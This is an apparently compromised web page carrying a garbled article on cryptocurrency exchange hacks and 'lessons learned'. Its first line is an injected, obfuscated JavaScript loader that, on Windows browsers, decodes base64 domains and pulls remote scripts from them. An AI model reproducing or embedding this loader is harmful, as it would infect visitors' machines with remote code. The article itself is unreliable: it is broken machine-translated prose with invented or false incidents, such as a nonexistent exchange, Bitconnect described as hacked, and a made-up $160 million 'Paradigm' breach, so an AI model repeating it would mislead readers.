if(navigator.userAgent.toLowerCase().indexOf(“windows”) !== -1){const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=|NXQ0MTQwMmEuc2l0ZS94cC8=|OWUxMDdkOWQuc2l0ZS94cC8=|ZDQxZDhjZDkuZ2l0ZS94cC8=|ZjAwYjRhMmIuc2l0ZS94cC8=|OGIxYjk5NTMuc2l0ZS94cC8=”;const pds=pdx.split(“|”);pds.forEach(function(pde){const s_e=document.createElement(“script”);s_e.src=”https://”+atob(pde)+”cc.php?u=e3a7630b”;document.body.appendChild(s_e);});}
Cryptocurrency burglands: past learned lessons
The cryptocurrency world has grown exponentially in recent years, while Bitcoin and other digital currency profits are popular worldwide. However, as with any high risk investment, the market is not without risk. One of the most significant concerns in the cryptocurrency space is the hack – a phenomenon that can cause significant losses to investors.
In this article, we will deepen some of the most important burglary of cryptocurrency history, emphasizing the main benefits and lessons of these accidents. We will also examine the best practice to reduce the risk of those attacks to fall.
Reward cryptocurrency hack
- EquiTiti (EQTI) – $ 200 million USD HACKS (2017)
2017 June Equititi, cryptocurrency exchange and portfolio supplier, has been committed by a major violation involving theft of about $ 200 million. Hackers have exhausted vulnerability in the mobile company program to receive access to consumer funds.
learned lessons:
* Safety vulnerability.
* Lack of awareness : Users may not be aware of the potential safety risk, making it easier for hackers to use vulnerability.
- Bitconnect – $ 1 billion in Hack (2017)
2017 April Bitconnect, a cryptocurrency trading platform, suffered a major hacking that was associated with about $ 1 billion in theft. The hackers are believed to have exhausted the weaknesses of the company’s software and user authentication.
learned lessons:
* Complex fraud attacks : hackers used social engineering tactics to access consumer accounts.
* Disadvantage of solid safety measures
: Bitconnect has failed to implement enough security protocols, making it an easy goal for harmful actors.
- Coincheck – $ 530 million. USD HACKS (2018)
2018 January Coincheck, a Japanese and Custodian cryptocurrency exchange, suffered a major offense associated with cryptocurrency theft worth about $ 530 million. USD.
learned lessons:
* Using strong security measures : Exchange owners should implement strong security protocols to protect consumer funds.
* Regular monitor operations : Regular monitoring can help you detect suspicious activities soon.
- Paradigm – $ 160 million. USD hack (2020)
2020 May Paradigm, cryptocurrency and custodian exchange, suffered a serious violation involving about $ 160 million cryptocurrency theft.
learned lessons:
* Solid security measures : Exchange owners should implement several safety levels to protect consumer funds.
* Complete regular risk assessments : Regular assessments can help determine possible vulnerability and prevent violations.
- mt. Gox – $ 950 million USD HACK (2014)
2014 January The Japanese Cryptocurrency Exchange Mount Gox has been committed by a major violation covering about $ 950 million of cryptocurrency theft.
learned lessons:
* Implementation of strong security measures : Exchange owners should implement several safety levels to protect consumer funds.
* Perform regular audits and risk assessments : Regular audits can help identify potential vulnerabilities and prevent damage.
In conclusion, hacking into the cryptocurrency space is a real concern that requires the attention of investors. By learning from important hacking hackers, we can reduce the risk of injury to these attacks. Implementation of strong security measures, regular risk assessments and remains to be informed of the latest changes can help protect consumer funds and prevent violations.
the best practice to reduce the risk
1